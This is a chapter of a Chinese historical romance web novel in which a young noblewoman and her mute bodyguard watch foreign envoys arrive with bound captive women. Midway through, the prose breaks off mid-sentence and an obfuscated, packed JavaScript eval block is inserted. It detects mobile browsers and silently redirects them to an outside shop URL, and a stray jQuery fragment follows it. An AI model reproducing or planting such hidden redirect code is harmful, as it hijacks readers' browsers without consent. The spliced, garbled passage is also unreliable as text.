日头高挂,春风拂过窗外摆放的细小白色花朵,透过半掩着的窗棂吹进屋内。
一双纤长的手撩起嫩黄色的床帐,轻轻按压在吕昭的小腿上。
“唉……可怜的小妹。”
吕昭懵懵地睁开眼,便见大着肚子的阿姊坐在她床前。
一脸心疼地揉捏着她的小腿。
“嗯?阿姊?你怎么回来了?”
是阿姊帮忙揉开她腿脚酸痛的?
“二哥是不是把昨天晚上发生的事告诉你了?”
吕迢红着眼,瞪她一下:“兔崽子,还不想告诉我?”
“大半夜的跑去书房,那么黑的地方,也不叫人先上去探探,万一伤了脚怎么办。”
吕迢说着,眼泪就要下来,小心翼翼地撩开吕昭小腿上盖着的锦被。
吕昭连忙凑上去,贴住吕迢的手臂,将人抱住。
“我的脚没事的阿姊,别伤心。”
吕迢自小便心疼她的双脚。
如今这么来一下,吕迢简直是担心得不行。
似乎是想到什么,吕迢道:“该谢谢那位替你挡住砚台的哑奴。
阿姊叫人给他送些赏银。”
“他人呢?”
人呢?
吕昭抻着脖子朝外头看了看,没人。
“那估计应该在……客房?”
“阿姊你提醒我了,是该谢谢他。”
吕迢温柔一笑,直接将门口唯唯诺诺的管家叫了进来。
“去,把那位请过来。”
管家应了一声,刚要走,吕迢便云淡风轻地扔下一句:
“下次再有这种事发生,管家,可别怪我不顾这么多年的情分。”
管家擦了擦额头冷汗,听到这么极具压迫感的话,差点没给吕迢跪下。
连忙低声应:“是小的一时失察,没管好底下的人,让那男人溜了进来。
郡主殿下息怒。”
吕昭被阿姊这番样子弄得也跟着静了音。
安静如鸡地看着阿姊先后将整个秦王府的各处管事,全都揪到了她院子里来。
“秦王府的两位主子是不在,可也不代表我和你们的世子是个不知事的!”
吕迢因为昨天府中进了贼动了气,甚至连吕衡都没被她绕过。
气恼地教训弟弟:“阿爹阿娘这才走了多久,小妹就被贼人吓到了!”
“怎么能让贼人跑进府里来!找来这么多看家护院的人都是吃干饭的吗?!”
吕衡挨训时,脸上都是惭愧之色,低着头站在屋内。
府内的诸位管事们也都在。
可以说,自从昨晚发生了贼人跑进府内偷东西的事后,整个府中的人都被阿姊提着耳朵训了一遍。
吕昭想开口求情,被阿姊温柔却强硬地直接驳回。
吕昭:“……”
她也不敢惹阿姊。
阿姊这么一训人,都过去了一上午的时间。
之前让管家帮忙叫来的哑奴说不定在外面等了很久……
吕昭想着,忍着腿脚肌肉的酸痛,跑到屋外。
一眼便瞧见了坐在廊下正仰头遥望天空的哑奴。
似乎是感受到了她的视线,那人锐利的目光陡然转过来,看着她。
吕昭一时间竟忘了要说什么。
昨天迷迷糊糊的就睡了过去,也没跟他一起取个名字。
更没好好瞧瞧他背上是否有伤口。
其实最主要的原因,是吕迢的气势太强,吕昭一时间竟将哑奴还在外头的事忘了。
吕昭深吸一口气,走近了些。
“你……背上还疼吗?则呢么不进去找我?”
沉沉的砚台从二楼砸下来也不是小事。
哑奴的头微微摇了一下:‘无事。’
他将腰侧一个素布荷包提了起来,在吕昭面前晃了一下。
‘你阿姊给我的,叫我来的时候就给了。’
‘还让郎中给我诊了脉。’
‘郎中说我壮如牛,没有半点问题。’
吕昭发觉了他在写什么后,差点没笑出声音来。
壮如牛,这郎中也怪会形容的哈。
‘你阿姊还让我住在那里。’
哑奴抬手,指向吕昭所住的房子侧边的配房。
吕昭抬头,惊讶看了一眼。
也觉得阿姊安排的挺好,住的离她近一点,也肯定不敢有人偷偷欺负哑奴。
她想了想,跑回屋里去,将昨日拿过来的书本一股脑的塞给哑奴。
“这些书给你,你挑个喜欢的当名字。”
哑奴认得字,把书交给他自己看,肯定能挑到他最喜欢的名字。
至于她……
阿姊早晨来时,还带来了个好消息。
关决,作为大梁国的官员,今日要去街上迎接前来大梁的外邦人。
她要去找关决,就远远看一眼!
前些日子大梁国打仗打输了,敌国便派出了使臣前来和谈。
为表礼仪,大梁国的官员都被下了令前去迎接。
虽然吕昭觉得,这未免有些太过卑躬屈膝。
但她左右不了这些,只好放下烦恼,拥抱帅脸。
这次她得到关决的行踪消息时,就已经是大中午了。
而听说敌国使臣下午便要到来。
吕昭没空精挑细选好看的衣服,坐在镜前匆匆编好小辫,便登上靴子,上了马车。
走路实在太累,她才不会走着去呢。
吕昭美滋滋地坐在马车内朝外面道:“小安,动作快些!
咱们尽量站到前排去。”
说关决是大梁国明星,可不是吕昭瞎吹的。
每次关决有公务,或者是要去都城的哪里,都有无数多的姑娘家的跟着。
吕昭有时去晚了,就只能远远在外头看着关决经过。
外头没声音。
小安安静如鸡。
吕昭啧了一声,差点以为吕衡又在外头坐着。
腾的一下掀开马车帘,拖长声音:
“小安……你又不理我!”
等她看清楚眼前是谁时,忽然瞪大眼睛:“是你?!”
是哑奴!
“你怎么来了?小安呢?”
什么时候上的马车?
明明她出来时,是小安在马车前驾车。
哑奴将马鞭握在手中,手腕转起,便在木板上写下一行字:
‘你阿姊让我时时刻刻跟着你,保护你不受伤。
就能天天有肉吃。’
吕昭:“……”
真不愧是阿姊。
吕昭放下帘子,重新钻回了马车内。
等到了都城最繁华的那条街道时,天上的日头已经偏西。
吕昭站在马车的车辕上遥望,瞧见人多正聚集的方向,连忙踩着小矮凳下来。
还细心地怕哑奴在人群中与她走失,一把抓住了他紧窄的黑色袖口。
“走走走,我看到关决了!”
吕昭开心地拍拍哑奴壮硕的手臂。
扯着他的袖子,像一只雀鸟,左窜右走,终于瞧见了被一大群女子围住的冷脸版关决。
一身官服的少年郎君似是不喜欢这么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940802|213912||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
多女子围着他,微微蹙眉,瞧着实在是养眼。
吕昭站在人群之中便开始默默欣赏。
倒是哑奴,为了确保她不受伤,时刻都在用身躯帮她挡住周围摩肩接踵的人群。
得益于哑奴宽阔的肩膀和高壮的身子。
几乎给她隔绝出来了一个真空的地带。
吕昭无知无觉地站在那里,认真看着关决与陌生女子低声交谈着什么。
不知等了多久,周围同样来看热闹的百姓忽然惊呼一声。
“是纥干族的人来了!”
“竟然还带着刀!”
“好重的杀气!”
有人如此感慨,吕昭其实挺好奇,到底什么是杀气。
也跟着一起看了过去。
远远地,带着铃铛的马匹和骆驼排成一排,被一群穿着皮裘的人牵着。
那些人腰间果然带着佩刀、背着弓箭,靴子和身上有的隐约可见遗留下来的干涸血迹。
如今已经红的发暗,成了硬痂。
吕昭不敢多看,连忙挪开视线。
可视线落在这群纥干族车队的后面,才真让她露出震惊的表情。
那敞篷的驴车上,是一群群衣不蔽体的女人!
那些女人浑身上下都是伤口,脏兮兮的,手上也被人用麻绳捆了起来。
最让她觉得震碎三观的,是其中好几个女子都大着肚子!
“这些、这些女人都是什么?特意带来的奴吗?”
她震撼极了,喃喃地问。
无人回应。
过了好一会儿,脊背上才划过手指的触感。
是哑奴。
哑奴正认真地将她的脊背当成纸张写字。
‘她们是这些人的妻子。’
这些人的妻子?
吕昭眼睛瞪得更大了。
原本见到关决还兴奋的心情忽然宕了下去。
抿唇。
“也就是说,他们纥干族的人,对待妻子,都是这种样子的?”
这是什么吃人的龙潭虎穴。
吕昭看着那些女子手上绑着的麻绳,忽然问:“她们是一辈子都要这样吗?”
像牲畜一样。
‘这个族里的女子都是抢来的。’
在吕昭背上划下这行字的瞬间,哑奴的指尖霎时停住。
他……是怎么知道的这些事的。
还如此笃定?
周围不少百姓,也震惊纥干族的行事作风,加之梁国是战败国。
不少人都在嘀嘀咕咕地指着那边议论着什么。
“听说纥干族的人不像咱们中原人,会赡养父母。
在他们那儿,年老的有病的,都要被处死,有的还会吃掉……
女人身体弱、肉嫩,一生病就会被抛弃,死的也最快。”
“这次纥干族打了胜仗。
还主动要跟梁国和谈,定是为了咱们梁国的女子来的!
说不定就是要用女子,换咱们梁国沦陷的城池。”
“是啊,不然这些蛮夷来梁国作甚,总不能是做生意吧!”
“梁国的将领都是些什么废物!竟然能让这群蛮夷打赢!”
吕昭忽然没心思看关决了,不忍心地从那些女子们的身上挪开视线。
拉拽了一下哑奴的手臂:“咱们先走吧,我不想看了。”
哑奴沉默转身,为吕昭在人群之中开辟出一条路来。
经过人群最密集的街角时,他忽然回过头去。
敏锐的视线鹰隼般揪住一人的背影。
是……之前那人牙子手下蓄养的奴。